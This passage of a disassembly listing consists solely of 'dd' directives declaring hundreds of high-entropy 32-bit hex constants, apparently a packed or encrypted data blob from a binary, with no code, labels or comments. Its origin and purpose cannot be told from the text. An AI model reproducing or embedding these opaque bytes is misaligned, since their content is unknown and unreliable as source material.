		dd 0F86E9809h, 66604632h, 0D849B8EEh, 9A03324h,	62488646h
		dd 104488B2h, 7C7FC0B6h, 4F011B8Eh, 1FBDD830h, 0F3499CC4h
		dd 887CE2E0h, 44A421E7h, 7C0491A0h, 0A9802050h,	19709148h
		dd 7F78F53Bh, 0B3040889h, 0D3880495h, 1D3B44A8h, 0E0D137CCh
		dd 3C594C5Dh, 5628A524h, 24AA2C29h, 8711C189h, 0AF8C45Ch
		dd 0DB246904h, 227B9011h, 1E3321C4h, 0F05CEE8Dh, 670869CAh
		dd 50E4E824h, 65FEFCF4h, 1A65F0F3h, 8BEB8C4h, 504878B5h
		dd 5870802h, 405988BEh,	0CB8405A4h, 9B206815h, 0DF59D319h
		dd 0E016C131h, 0C06F3885h, 162256FBh, 813A159Fh, 50F0D8B1h
		dd 49313A38h, 0B7E13013h, 0E4C33427h, 61EE8C48h, 88A756FAh
		dd 0A51E0EE0h, 0E17640B9h, 0E87040D0h, 708B63E5h, 8188A1Bh
		dd 0C011CE56h, 0DE3D724Fh, 0F8042B19h, 9601DB4h, 61D28C10h
		dd 569A002Dh, 52BCB064h, 163FC713h, 0B5B400C6h,	8B41036Ch
		dd 2C1F3123h, 11B35028h, 7911FF0Bh, 23151157h, 145C5194h
		dd 0C3E55308h, 6782CD10h, 0E8022EA9h, 0CBAD00B5h, 427D1A0Ah
		dd 0BD1B4A00h, 17A1760Fh, 697E1C23h, 80AB00EFh,	4FA974Bh
		dd 0FC6F8F00h, 0CDD33A73h, 5BE10030h, 9CF348Ch,	11000B29h
		dd 0FA5084CEh, 54F7A4h,	1BA932F0h, 0A2B213A0h, 7D3EE000h
		dd 8B7FB697h, 0EAEE00DFh, 8C262D3Bh, 670030C1h,	0B263090Ch
		dd 60BEE950h, 5AB51066h, 230419A2h, 0C68F71BCh,	0AC00DC84h
		dd 825A9EEh, 0CE7903A7h, 0CBFAF7D5h, 0B1BE90BFh, 591D5717h
		dd 0AA40392Ah, 61EEB24Dh, 0E17A008Fh, 0D74F7711h, 0EE81FEAh
		dd 0D3483B70h, 0C14A01E9h, 0C7FE1D51h, 0F00CE051h, 0E4EBC0h
		dd 456A698Bh, 6183F4EEh, 1433D403h, 0D04C535Eh,	23BC9Ch
		dd 7B8DFA6Fh, 1C6BC73Ah, 99F46D00h, 7F119453h, 4CD8006Eh
		dd 0CA690FB6h, 9705CD2Dh, 0FD0477D4h, 11F5B000h, 0BE2919h
		dd 0C0C710A1h, 0E8886801h, 0A9734C04h, 2887836Ah, 9FC403E0h
		dd 80695C0Ah, 5E136703h, 6A906EC1h, 53FA77A3h, 86208100h
		dd 0D9A5FBC9h, 74B9004Ch, 0DAD78311h, 0F07A9C3h, 5856573Bh
		dd 9A5E85E0h, 8FF23C87h, 3E8BC50h, 2FAC1D68h, 85D87591h
		dd 0FF802B21h, 0EA3A0089h, 0DADB508Ch, 0AD9015DFh, 0C703C4B0h
		dd 614C6CCAh, 5E4F0D3h,	40B10071h, 8C4BDF2Eh, 0EE1C5680h
		dd 0D1805981h, 9606664Fh, 53600B9h, 7074ADC7h, 6000B386h
		dd 494BFD55h, 0CDAC63h,	0DD1AB4B0h, 3B9BDBD9h, 0C3A05107h
		dd 0C720ADC2h, 2623B65Ch, 6096C86h, 0F2AF633Dh,	0BE0F6B78h
		dd 0AE564D70h, 5E80DC15h, 2231376Ah, 626B0769h,	0E743EED8h
		dd 70E2B0C4h, 0DD1F8C95h, 6141B20Dh, 0FF684FFh,	0E0B38630h
		dd 0E67900F2h, 0E351C68Eh, 700AD26h, 5FD4116Fh,	7A604AE1h
		dd 0FCF3BD7h, 0E08FB600h, 0C6A8E70Bh, 0D5BE1C14h, 0BF4007A0h
		dd 0BB80FB53h, 46E2BD7h, 0AA92C706h, 5FC89077h,	0AF78EB30h
		dd 87BF800h, 0ADB2098Dh, 0CCD90037h, 16DC1275h,	5D00F697h
		dd 0F5242A0h, 24C0FA51h, 80BCB7A2h, 403D1D7Fh, 5338A39Dh
		dd 7AD8929Ch, 4A305803h, 0C137B88Dh, 3F681247h,	0B54C0235h
		dd 0E7C16E5Fh, 92D143CDh, 24FAA9D9h, 0FF0998C4h, 20C9378Dh
		dd 962C84D4h, 0EF410059h, 0FAA118B0h, 0EAFCE6D3h, 0D154001h
		dd 1EF2EC50h, 34A420h, 173A0376h, 0C99608A3h, 14D27D00h
		dd 297D025h, 7B520004h,	0F8D98291h, 5300B659h, 99A59076h
		dd 1F286883h, 15AF093h,	0F29F1873h, 0CBE0D7DEh,	130184A0h
		dd 4B28BC0Dh, 99E4582Fh, 721C091Eh, 61006B18h, 454CD762h
		dd 0A8096F00h, 0C9320627h, 780D7814h, 0CCC0756h, 0D09A4DECh
		dd 0AC923550h, 57427200h, 98B0D117h, 0D075A3h, 63903343h
		dd 0DC699135h, 0B4143100h, 75A12227h, 0FF8A048Ch, 0D0458330h
		dd 67E9D018h, 0DCB01D00h, 4FECE660h, 0B99107A3h, 0D05BAA4Ch
		dd 2F26A01Ch, 8AE52A00h, 981F6C55h, 43933003h, 0CAC85C98h
		dd 0A800A6EEh, 0ED2839E2h, 93D1190h, 8DAF98DFh,	0E672C400h
		dd 9CA0B89Dh, 6A007C71h, 0AE9B0CC9h, 1EB3F04h, 0BDFAABA1h
		dd 8023B1CFh, 19498029h, 124F5D98h, 19F2D8Dh, 0ACA5AAACh
		dd 270E471h, 0BEEA4Ch, 0DC0CDE2Fh, 0D47C4Fh, 3A199F6Eh
		dd 8B609765h, 46E4C600h, 4D77E9BEh, 517912B5h, 7BF008Ah
		dd 0BB8EB70h, 6A071890h, 0C818717Dh, 9421E910h,	0A49009Dh
		dd 0FF3E4F3Ch, 88ECE568h, 0B8DFD00h, 0D1B240DEh, 0EC4600BBh
		dd 0A244D08Fh, 73006B0Ch, 0F3061F91h, 786F38B0h, 0B99803C2h
		dd 0F4316745h, 0E05408C9h, 0E11DF1C9h, 0E8004F39h, 47DF9B43h
		dd 962A0FFEh, 0B9A3CC5Bh, 32BA2FC0h, 0E8ACF460h, 0BF4C3600h
		dd 91E6634h, 4AD0089h, 82060EDAh, 0A107797Eh, 3EC7AE40h
		dd 0FFDC2630h, 25EE0098h, 0B1709AD6h, 6A03BAE0h, 20DF2B1Dh
		dd 10AF9873h, 19D609EEh, 4481ED5Ah, 0E6301BB5h,	0C740B8A1h
		dd 9AD5408Eh, 28004702h, 0DCF0BB2Ch, 3DE26829h,	14009408h
		dd 7A316F24h, 331EBF93h, 0A6C0F0D9h, 9EDDD8B5h,	58E4074Dh
		dd 7561C0ADh, 31D301A1h, 24DFE801h, 8A00D994h, 10A0C28Eh
		dd 0E6C0550h, 0C9DDFADAh, 0CFDC1F81h, 0A20F6088h, 2C005FFEh
		dd 333DEDA9h, 332E0h, 0E695FBECh, 8D3CE4E5h, 65BD8A05h
		dd 70D01DDAh, 0E305ACh,	0BE8878D1h, 7B3D895h, 7A1F7C0Eh
		dd 0A0F5A924h, 40AE4B8Ch, 80D03A0Bh, 189A1600h,	0C0246331h
		dd 0FC14E09Ah, 1CA8EAEh, 0E9118FF7h, 0F4616458h, 0FADB6D30h
		dd 64D64D72h, 374C2A01h, 30DA0F6Fh, 8500A560h, 39F5F99Dh
		dd 511227h, 0C7E443F3h,	5B4D7935h, 5A03D57Dh, 62132D4Fh
		dd 64B8C085h, 0F6542CDEh, 603B00CBh, 0F0A3282Bh, 4B10D960h
		dd 7B855F9Ah, 332501C0h, 7AD268D4h, 107830DCh, 0BFF75801h
		dd 11851CC7h, 0C4602C65h, 4CC904BDh, 814261A3h,	70F8C4DCh
		dd 0ED0F9134h, 602A419Dh, 0FCF04C50h, 9390084h,	97BD6ABFh
		dd 9F180FE8h, 5230FA10h, 0E255073Ah, 47189501h,	7651E0A5h
		dd 363C1F26h, 4DBC022Bh, 4063DAFFh, 509C483h, 3255ED78h
		dd 91F84056h, 28E0A750h, 0DCFA3F00h, 4421C3D1h,	7B21C765h
		dd 0B280D0C4h, 6E00994Eh, 5F855B53h, 0FFE9BA26h, 0C06A20h
		dd 0FA1E8AF7h, 0A0298BE1h, 87588C00h, 7BCF9BBFh, 4BF8ADh
		dd 11A4C224h, 1D90A06h,	0DC505200h, 23AB6A27h, 40A500C5h
		dd 0C05A08EBh, 0C650513Dh, 0EE00EFDCh, 67955990h, 28C4BC81h
		dd 3B02E2Bh, 0FD2643A9h, 41B0289Ch, 0E5121B36h,	0CA003005h
		dd 7602CE27h, 426D00A4h, 0C95D7026h, 9601C443h,	73E5DEEFh
		dd 0A730958Dh, 0D0AC0E66h, 21441615h, 0ABBCD371h, 88980C80h
		dd 112EA805h, 0EF804D22h, 486D5D05h, 22C8F1Eh, 0F360031h
		dd 91577D17h, 0E0293907h, 78134510h, 6EA9E007h,	0B0D803DFh
		dd 8F320AC0h, 803976D9h, 0A808F10Eh, 2A57E9h, 6DDD6B4Fh
		dd 0BC10B2DAh, 0EA578B7h, 13A201CAh, 0D4B99B00h, 0AD0074E6h
		dd 0DDF00BECh, 1D30C8Fh, 0F264C2B2h, 0C03E609Bh, 0B80066DEh
		dd 0BC5A0FDh, 1E08F77Eh
		dd 80598290h, 9221CF75h, 6C016899h, 1B97D6DDh, 74703676h
		dd 9BD9394Bh, 5AED7A8Eh, 0A8D1FD00h, 710035F1h,	0B73387EEh
		dd 60D74FE9h, 0E3FB19DFh, 0DB00CB98h, 0E193C20Eh, 1CD666D0h
		dd 86B08Dh, 92A5FB2Ch, 0F7001D42h, 0F51E56Fh, 39D4C6h
		dd 5B370860h, 88758FFAh, 15CC9A00h, 5536C3FCh, 0B4EB05AEh
		dd 0EAB8D3E9h, 3332C07h, 0C57E27D0h, 0ABAE01A2h, 5B723791h
		dd 8F67E0BBh, 75043DF8h, 137B0176h, 0F0600DC0h,	164D0098h
		dd 1278EB86h, 0DE0063CEh, 3C15279h, 60723324h, 0AAAE18A6h
		dd 4900C464h, 0B4DDE335h, 26706F9Dh, 3B1916h, 0C29C1846h
		dd 0F7A1B2Ch, 29D48C02h, 60B5F4AEh, 0CEF03EDh, 8D3E9691h
		dd 640F6588h, 0A012AF1Bh, 0ED48DF54h, 0EBA7B2Ah, 0F1443D10h
		dd 133EB0E0h, 5F03AE86h, 0E2378E8h, 0FFFCD0C6h,	0DA5D184Dh
		dd 46AE90F1h, 0A312BFA0h, 0D6EBC90Bh, 4B98073Bh, 0E1835BF0h
		dd 0EA3A008Eh, 0FA977898h, 0F100759Ch, 0A9142737h, 7F927E5Eh
		dd 0E5A43BFCh, 0EEF42480h, 2016825Ch, 3F00287Ah, 0ED996F6Ah
		dd 0ED809EBh, 0FDC65238h, 51000EEFh, 0CA1AA8DBh, 2CAA8F00h
		dd 0A4E04622h, 0F050024h, 707E32C0h, 7C7402D8h,	1DA21005h
		dd 0B6C016B2h, 74E4191Ah, 54930098h, 6641BF57h,	0AF72DC10h
		dd 124A900h, 19269630h,	362E16EBh, 0A01C0780h, 0F6CB03Ah
		dd 76002BABh, 60D27A1Eh, 3279BF3h, 6BEC2AAAh, 74E0DFB6h
		dd 0BC008516h, 0A3F3E8C2h, 3CF6DDh, 0E75B5F2Ch,	0E912B2F5h
		dd 80F6D20h, 0AAA824EDh, 80822F89h, 225095C6h, 53F90F4Fh
		dd 949E48C5h, 7907A074h, 0F704F1AEh, 0C77AF46Fh, 0E333A38Ch
		dd 1100DEF3h, 0E811E05Ch, 0FE5B38h, 9D34718Bh, 264B57E6h
		dd 55EA6D01h, 0E748734Ch, 2C8C64h, 2F273E97h, 293806E9h
		dd 0DD669216h, 0BD604Eh, 8DB20877h, 0F51D0B78h,	0CAF0D09h
		dd 594EC320h, 0E9009A30h, 83CC448h, 0C09E624Bh,	319FBD20h
		dd 9600DDD1h, 0DCCCBFDEh, 0EC56B8h, 361C1FA0h, 0A7AE040Eh
		dd 4F6CEB06h, 13842CDh,	0C7359288h, 0C71E58B4h,	209F0E98h
		dd 2B210760h, 31BF7E01h, 0CD10A8A6h, 0EBEA202Eh, 9F04F0Ch
		dd 3BA0196Eh, 0FBA5B650h, 408CF007h, 0FA07039Ch, 22D23524h
		dd 42B8E300h, 2BB94A9h,	0B05D3AAFh, 0B8824B06h,	2DC078EAh
		dd 0C50081FAh, 62176E29h, 3249BDh, 2ECEF953h, 9D0920D6h
		dd 1F470B8h, 98C4DB02h,	0E015E3C0h, 804B9168h, 641F14AFh
		dd 458290ABh, 0A5336173h, 4407F8C0h, 0E3032B4h,	19B95C4h
		dd 42FDD881h, 0C8CFCA85h, 0D27C8C25h, 8BE4BC0Eh, 706A017h
		dd 0B65CFEh, 756C1ADCh,	5055BBE3h, 33EAD103h, 0FDA2E26h
		dd 0AB42E220h, 9C143BA0h, 277F3AA2h, 962C600h, 0F05E1312h
		dd 257D52h, 3F1DD5DDh, 0F69F9B7Dh, 0A163D61Eh, 0AEFBF780h
		dd 39987744h, 60FCB9ADh, 4879182Ah, 8A3B6F9Fh, 0DC73A6E0h
		dd 6340E51Eh, 0CF5CFB22h, 378403ABh, 1053F0C0h,	0E782D590h
		dd 0A0128D05h, 0EC80D92Fh, 0ED73C3Ah, 59DA214Ch, 0A1BC9E41h
		dd 0D424F810h, 939BBB00h, 9CB1734Dh, 489CA085h,	309E04h
		dd 0A5169743h, 0CF00ACA6h, 2317C9FDh, 777090Ch,	47E6D649h
		dd 0C059E8h, 0D00FDCBh,	97D814EEh, 7F2A12ACh, 0D6E00073h
		dd 8F701FD1h, 2C50CD28h, 689A34D0h, 0A56B8D1Fh,	0BFAFBD80h
		dd 51848FBh, 49A6D650h,	0CCDD80C5h, 0A173B301h,	42442704h
		dd 9490DDD8h, 79817C5Dh, 0A4960076h, 73A7CE8Bh,	0ED120EBBh
		dd 0B4007EFEh, 511CF95Ah, 1D440F34h, 312E3A77h,	0B760FAE0h
		dd 0B526B632h, 230F95C8h, 0BB6160D4h, 1FEEA54Ah, 0CCAA76E3h
		dd 894CE5C1h, 274D7A00h, 36D8F88Ch, 99BD098Fh, 0FD800E9Fh
		dd 351F05A8h, 8BB9E200h, 0C6117459h, 143A0091h,	94CC2575h
		dd 0A3139E2Eh, 0D0005AA0h, 8C2B5BEDh, 48B5B08Ah, 35A7781h
		dd 0E83BDD18h, 4ACCC0C8h, 784B6E0Fh, 0FD77C055h, 3852DEh
		dd 56C6050Fh, 57C9E242h, 91CCCB00h, 5BDBD8D0h, 1DAB8D4h
		dd 89F94AA0h, 30BE74CDh, 7B00C18Ch, 0EA8D8E2Ch,	1FF0DC99h
		dd 82E07A59h, 0CD7423F6h, 0E74E3C40h, 3E2DF3Bh,	0DC68493Ch
		dd 0A8EEC088h, 8BF83C6Dh, 32045F00h, 4FBED35Ch,	0FADA40C0h
		dd 0C55262h, 73510849h,	2EF63B70h, 17837E00h, 481DD360h
		dd 342F0092h, 0D18BE1B3h, 0F2034068h, 98FDA8CCh, 0DF39A1ECh
		dd 410B9C6Ch, 86003A8Ah, 0BF1367E9h, 0ECE74D00h, 0AF8E5FAh
		dd 0B6063F5Ah, 1E3A9E03h, 0D080C913h, 46003597h, 6132E527h
		dd 93BB9Bh, 0BAEFEB2Bh,	81EC4BFDh, 2F009C70h, 840DEE4Ah
		dd 763795F0h, 0D88A00C4h, 971AEA5Bh, 0B4006636h, 0AC994B48h
		dd 0B6AA60h, 5E75962Bh,	77F5270Ah, 538A9717h, 1BA4BE00h
		dd 56A882h, 5704E28Eh, 31E53A67h, 0AAF42A00h, 0E4BB6CB9h
		dd 199C00AFh, 559D9647h, 7E038B57h, 0D713E1A7h,	64DFE09Bh
		dd 0B0690287h, 342806E3h, 7F3C00FDh, 0F47115C5h, 0D14D000Dh
		dd 91FD2A1Bh, 39072D0Bh, 4266C82Ch, 0C8715193h,	95B759h
		dd 0BF2592F5h, 0C42A4B5Eh, 4F2F8C00h, 0DC010346h, 0A2C80058h
		dd 0EE11179Dh, 7500ECBDh, 4F8752C2h, 7DF53724h,	7821EACCh
		dd 0A2FC84h, 0C43480CBh, 0D3A155B9h, 3DE12B07h,	0D5506148h
		dd 7879A3h, 565FC27Dh, 37863C4Bh, 0EA4AFD00h, 48184725h
		dd 5170395Ah, 8C667600h, 0B3EE809Ch, 1EAC3E5Fh,	0E0902Eh
		dd 0A657634Ah, 4800ED2Fh, 539D4F52h, 2B8DADh, 8AD71060h
		dd 28F78941h, 85374000h, 76380CD1h, 24190052h, 0B50B580Dh
		dd 0E500F8A2h, 0D38E5EE9h, 8DF545h, 2B19F034h, 0C05385B7h
		dd 124E448h, 0D3224DD5h, 0C8CC4526h, 0D73A03D8h, 8C70195Ch
		dd 77924B0h, 752E5200h,	0C4A87733h, 0CFD00F0h, 65F968A1h
		dd 3E00323Bh, 0FE0B6ED6h, 2F004FCh, 98175DE1h, 4075F125h
		dd 74CA0F0h, 5F40B309h,	0E84EA086h, 0D80EEC1Fh,	5F22C06Eh
		dd 0DD921480h, 0F0F554h, 0F62F9C05h, 0D5B535Dh,	11004473h
		dd 28BF4A61h, 75E881Bh,	0B925602Ah, 0A5208CE2h,	5F4D621Dh
		dd 0C000F51Eh, 0B260FCE8h, 0CCF93D51h, 24F8831Fh, 783E9Bh
		dd 3952C9EDh, 9A912920h, 1CB26700h, 0B7FEDE4Ah,	1D201C4h
		dd 811569E6h, 0ADBC4063h, 68DDA388h, 8CBEFAC0h,	0D2B3ECDFh
		dd 0DBA40150h, 8A422878h, 4CFADE81h, 0BE1A063Eh, 6388D79h
		dd 5D2660D5h, 5B0128A1h, 0DFE93728h, 0D2F4F9A0h, 0BD330049h
		dd 76EF48C2h, 898BB97h,	0DC023Bh, 0A3AFAE9Ch, 3BC6EAC5h
		dd 1806750h, 4D107DBEh,	87268BFDh, 0DF0056D9h, 0D0D1B04Eh
		dd 2F63E15h, 0BFFF0379h, 7E06BE9Bh, 0EC5334D9h,	30F605AFh
		dd 0E0F42200h, 6DC30BEEh, 0D8E807D3h, 0D0C7F6CDh, 0AAA4F02Fh
		dd 0AC09E500h, 466614A2h, 71A300E9h, 0EB05EEC2h, 29177A23h
		dd 6900FC36h, 160FA7A5h, 4C350044h, 2B60612Dh, 3B0324CBh
		dd 7B0EB76Dh, 0BC78F8A2h, 0D1A300DDh, 5B2925ABh, 0CE0B3DD3h
		dd 40194E54h, 2A58EDF6h, 2AC344Ch, 4DEAE2FEh, 47C0D5A6h
		dd 350109CCh, 89076354h, 28835AF4h, 40046A43h, 3EDA67F8h
		dd 0B730503h, 0AF72D91Bh, 88D0E347h, 805BCA82h,	31C38B34h
		dd 7C3387B1h, 204A0008h, 25CD95AAh, 0A401CEF7h,	9F8147F9h
		dd 0E8CC53EAh, 112D000Ah, 0B2FCF45Dh, 667F0FBAh, 0B07DE100h
		dd 3638933Bh, 297560h, 0DFC6D74Eh, 52DACABEh, 940011E2h
		dd 0FB492C48h, 0C3271230h, 97BD6E48h, 65B308E0h, 75008F72h
		dd 26594B60h, 1933D3BCh
		dd 9061C442h, 5471F004h, 380EB674h, 830A93DDh, 0C01CC0AAh
		dd 42FFD7Ah, 0C3EE63FCh, 3C6BC087h, 39001AC2h, 0E1AD51C9h
		dd 19C7835h, 0C32F019Dh, 0FC470682h, 2C064405h,	8CC26C6Eh
		dd 0D40F0039h, 24EC9FA9h, 730778C0h, 0BD57BE5Dh, 0FDB5E650h
		dd 92A3003Eh, 3585A43Ch, 5A00993Ah, 6CF59F0Bh, 185379B8h
		dd 51892083h, 817E8E13h, 6B3E4E00h, 0BF85A2A6h,	0F494003Ah
		dd 0A7742821h, 8300CD6Eh, 0B8ED24F1h, 9B44C88h,	0A4C3C0AEh
		dd 0C66F4F87h, 0E80010DEh, 547D5EA3h, 0FAE1229Fh, 71BA001Fh
		dd 0E98A0BBBh, 78DFBC86h, 0AD3CABC7h, 0EFC0A677h, 0DFB185h
		dd 0C2AFD7C7h, 5376697Bh, 38BCA0CCh, 0FB73013Bh, 0A03A340Dh
		dd 0ACAAC871h, 6E00317Bh, 2EC0F9D7h, 7BFD69C7h,	0CB4338F2h
		dd 0E901F03Fh, 73CF5B9h, 3F788398h, 7CEAD28Ch, 0B14C3C58h
		dd 8E451780h, 89788318h, 0F24504ADh, 0EB041C10h, 419F97B0h
		dd 0E7A8DD42h, 8926CF07h, 194C309Ch, 0EA633096h, 5E1DA221h
		dd 602919C0h, 3CF0ED18h, 740095F8h, 0FDD986E6h,	91139BE2h
		dd 0AA005941h, 0E7537809h, 38E960C9h, 87A46818h, 0FEEA953Ah
		dd 0FAEC0D00h, 0EEB02691h, 12DD0047h, 0EA9449B2h, 0CD0E6397h
		dd 9440D72Dh, 89EB020h,	991886FBh, 74B1A34Fh, 8A40404Eh
		dd 34486F0Bh, 0E9B800E2h, 387744h, 0C160BAF5h, 0A91B5E80h
		dd 2311410Eh, 0EC87C089h, 39AD5FFBh, 7D8218h, 6AFD3D0Eh
		dd 9B3586EAh, 13882750h, 4F9610F9h, 0F779C094h,	9CC8EB23h
		dd 0FA998B0Eh, 0CC0DEFCh, 3D26F249h, 7AD30053h,	891E0A5Eh
		dd 963FFC99h, 9E0198B0h, 3EAE3C40h, 37804542h, 9E30A1Dh
		dd 10006584h, 95B07E3Fh, 0C0DC9BB4h, 0C4455078h, 0DA00262Fh
		dd 0AD29A198h, 16BFF3h,	51D6A2A3h, 3AB76A0Eh, 5510AB0Ah
		dd 105D89Ch, 0FC40E1F7h, 8459B2D6h, 2E99006Ah, 3B569026h
		dd 0B03A60E4h, 0EBA594B9h, 790203D3h, 9B11B4Eh,	8483E439h
		dd 94B42023h, 2719911Dh, 0A4F55BC0h, 3840CA15h,	5C8E6757h
		dd 0D0E0F9B6h, 0B79F2D31h, 4350AFFCh, 0C20AF688h, 0A0EB462Ah
		dd 7EB96980h, 6275FBh, 0D427368Ch, 0B1E52EA2h, 99681F01h
		dd 0F7EBC724h, 40FF8DDCh, 8F45E7E1h, 20CA909Dh,	0A325C700h
		dd 532A3E83h, 73FA0056h, 5DB8D44Ch, 0D301B3C5h,	86DC13F1h
		dd 0FDCD44CAh, 241114E0h, 364F296h, 0EE22E421h,	0F71C590Eh
		dd 0FCC8E0A6h, 252795Ch, 99108F63h, 8442F932h, 445E4004h
		dd 0A7C2553Fh, 0B0C0B056h, 44CB0004h, 0F021A6E9h, 0E0105BCh
		dd 0DB7734E8h, 4980B511h, 0D37F079Fh, 0D9786B2Bh, 0E1352118h
		dd 0A8FEF898h, 7252C4h,	78C9CD24h, 5B8273C8h, 57DD23Bh
		dd 0E3E29CE6h, 68DF80BBh, 981D5FE9h, 617074EAh,	4987E8h
		dd 0D42A1076h, 0D604BF6Ch, 54B4E13Fh, 8E00C3E8h, 0E4399BAEh
		dd 1DD484Bh, 59860FC4h,	0D523CB25h, 200D70AFh, 15106613h
		dd 62BF0840h, 987B7591h, 0BBE1020Ah, 97D46801h,	0E346DC41h
		dd 0EFF0FE8h, 8BEC7009h, 0BFD42177h, 0D980E2FCh, 95E35818h
		dd 0F309AAEFh, 2D9C0Bh,	454E313Eh, 29E060FBh, 24A08610h
		dd 223A21F2h, 0BF0AF21Bh, 98930EA9h, 171DE468h,	0FBEC22h
		dd 2DE354DAh, 0D510690Eh, 0ACA75028h, 3B444h, 2EC10A75h
		dd 0DC725139h, 99546C7Eh, 0B100928Ch, 0F3E0246Ah, 4E5590Eh
		dd 87619AAh, 9B20807Fh,	9104900Ah, 9E1C6A96h, 312E8007h
		dd 0CC420826h, 1531A339h, 0AE96519Ch, 377F1441h, 5F595C4h
		dd 9CE763E9h, 0B7904649h, 0A1163198h, 0EF0FB646h, 1559C1F2h
		dd 0DDE8E1D4h, 0E4C1C3E9h, 0F101EA19h, 45D763BFh, 0D04180AEh
		dd 14528246h, 34403210h, 29C46106h, 0BD5DE019h,	0B664A1E0h
		dd 79005B85h, 92BC521Ch, 0C1EDF28Ch, 0D37BBF29h, 170BC473h
		dd 98E18226h, 45CE118Eh, 0C801E9D6h, 9410E764h,	2B20B816h
		dd 0B49093h, 0F0131E37h, 567CFC5h, 1F779C7h, 9B18E465h
		dd 1229BC39h, 2EA089Ah,	0C7C2A22Ch, 15219C48h, 0C8E949h
		dd 0CD9AE24Eh, 20603F3h, 442C8B98h, 2FD03524h, 0C078FD48h
		dd 4A2A3F12h, 2E1A0014h, 0FC4CD38Ch, 28001F85h,	0E101130Ah
		dd 911B0F16h, 9F8480A8h, 1458E4B0h, 0F1FD8230h,	6213A33Dh
		dd 7EEF9102h, 0E76DF1E0h, 3958527Eh, 5A8908A0h,	58961FF9h
		dd 4874D9BDh, 0FCE5F8A8h, 56C95F00h, 750FE3EDh,	7E1612FAh
		dd 0D0A86089h, 48FBA746h, 0F9C7BED4h, 0E780D2D8h, 0F6EF4Ah
		dd 803998Ah, 4D8F5029h,	1101F37Bh, 9889B1A5h, 1023D42Ch
		dd 0DC96B400h, 8DA03519h, 8ABEEB00h, 9A38E854h,	0A930004Eh
		dd 0AC9E6C46h, 1B00F671h, 1D6E8915h, 0FD35135h,	1E733297h
		dd 0EFE22603h, 0C739487Ch, 8E6A00ACh, 475E136Dh, 0A41B007Bh
		dd 0AE9E90ABh, 0BF009DFBh, 31BBF792h, 3E783337h, 5F80894Dh
		dd 0D7FF9468h, 0E701C6BAh, 0E2CD3B15h, 70823712h, 0A667AA19h
		dd 0EAB09280h, 0E0321D72h, 423478D2h, 0FC064022h, 0AC770066h
		dd 7E848823h, 0B707100Dh, 0A66FE59Fh, 0BF2D39B0h, 3550C24Dh
		dd 68806486h, 8CA73C72h, 36E88D08h, 9B0EBE48h, 0E7A03E58h
		dd 1632B4E9h, 31CD620Fh, 0EA360541h, 500E5043h,	42E09EA3h
		dd 0CBE67ABBh, 0EC42D50Eh, 48595893h, 38346088h, 0ED0A9CE5h
		dd 32872E00h, 4A1E7003h, 3198C320h, 89002A48h, 3B4FF58Fh
		dd 9A4616h, 0D865D00Ah,	85A2BBCBh, 291E6330h, 9724C0h
		dd 0D21B6987h, 853D5A65h, 155FE405h, 6C0047E7h,	4FD108C1h
		dd 8E7000EAh, 6C164AFDh, 0A770E5ECh, 8B1D2100h,	3B191FA1h
		dd 0ACAB0031h, 10867C78h, 0C932A26h, 81C41E14h,	0D6D1525Fh
		dd 873C0h, 0E818A850h, 9563176Ch, 0EB0CE518h, 2A2D3381h
		dd 28C41262h, 2C0BE03h,	0F00B32A0h, 7420F6EBh, 4FD0DDh
		dd 990229C9h, 8D79574Dh, 40B49F00h, 33C53722h, 484690A7h
		dd 0EAC52CBEh, 0DCC2005h, 84A66611h, 27096BF0h,	8FB202A4h
		dd 0EC29981Ah, 822490Ah, 28801F2Bh, 792A4414h, 0A8051B03h
		dd 50EBE5h, 58859A38h, 610B66BAh, 205FC100h, 84CA9007h
		dd 18734937h, 47113380h, 0DD3FE62Eh, 0E2D90006h, 91660B4Ah
		dd 0E4E005DBh, 404EBB2Ch, 9EA5388Ch, 0B4A08CFFh, 760614A7h
		dd 2305E4F3h, 733328A9h, 0CC4D01DCh, 1EA3FFDh, 1ED18C2Dh
		dd 6749DDh, 0B814DC7h, 0DEB4FF60h, 7D1AF35Ch, 3887D000h
		dd 8B1C832Ah, 0BCEF4825h, 0C054E83Fh, 17E7844h,	0BAE72B13h
		dd 0E0295EC5h, 5CA0DA39h, 8402FA2Eh, 8C1E79E4h,	29CC00D2h
		dd 8B007DD4h, 7E61A9C4h, 14A06ACEh, 0B4731F01h,	6004ED24h
		dd 10C49454h, 0A4720E15h, 31037B78h, 5763A89Bh,	0EB1588D6h
		dd 9D39C0E4h, 0DAE9D812h, 0F9E6B509h, 0C4E022AEh, 1FB4853Ah
		dd 80E85822h, 0E32DD71Ch, 0A0ED3C46h, 78320772h, 0A3E697B6h
		dd 29A605E5h, 58129EF0h, 2C452B55h, 0E04A2154h,	0D840FCFBh
		dd 9057D6h, 978D23Fh, 15BF4CB5h, 1BC0EC00h, 28CD7B73h
		dd 289886h, 9EB67E31h, 2AF0FE7Ah, 0DDCEA00h, 6749A72h
		dd 2C680A9Fh, 92D84963h, 0C840103Dh, 0D57631C1h, 35EC531Eh
		dd 84DE5ED0h, 30919B77h, 8F235941h, 0CB0BC450h,	8D5B00D0h
		dd 384CA562h, 0B600D320h, 81F2A011h, 247C5C9Fh,	344E716h
		dd 0E660A0Dh, 0FAE806D5h, 0C507E9E1h, 4ECD721Bh, 0C6855AE1h
		dd 7CF517D5h, 7E357050h, 7989601Dh, 55F16CBDh, 513BDA00h
		dd 0A6FB37E1h, 0E651FEEh, 9F72410Ch, 0C0B2060Dh, 6F05CE66h
		dd 93E4D5F2h, 4D482488h
		dd 6207908Fh, 0F0333244h, 7447A3D2h, 0DA266B00h, 0F7301CCBh
		dd 0E0D011Bh, 0D78E1766h, 2D025E5h, 0BFE016CEh,	84601E7Dh
		dd 253BFF99h, 0FD1509A6h, 0E075245h, 61623068h,	0CF18D9AAh
		dd 0E2407665h, 0C0FCA16Fh, 2CEB0864h, 444CBB24h, 3F1C908Eh
		dd 0A307F1ABh, 9D6FDB01h, 0E1DDEF93h, 0C980E7E6h, 8C60C35Ah
		dd 0DF1575B8h, 84EC30FAh, 0A4CC6BE4h, 1CCD50ECh, 400D2AEAh
		dd 14154DF8h, 92C0053h,	0A3FC0315h, 0A816F177h,	484528B0h
		dd 0DC53EC05h, 4064D808h, 0D259912h, 2F530813h,	3B042C60h
		dd 0C50F7BEAh, 40871E61h, 4433C198h, 0D002AFAh,	5FD87CF0h
		dd 8204A2h, 0E6145F5h, 6852816Eh, 0E6CE8501h, 4497E40Ah
		dd 0EBA45C40h, 58529069h, 23877847h, 9249D0AAh,	58E19B68h
		dd 0A0318688h, 0E4FAB129h, 8F20C980h, 34D99645h, 0A5A66C03h
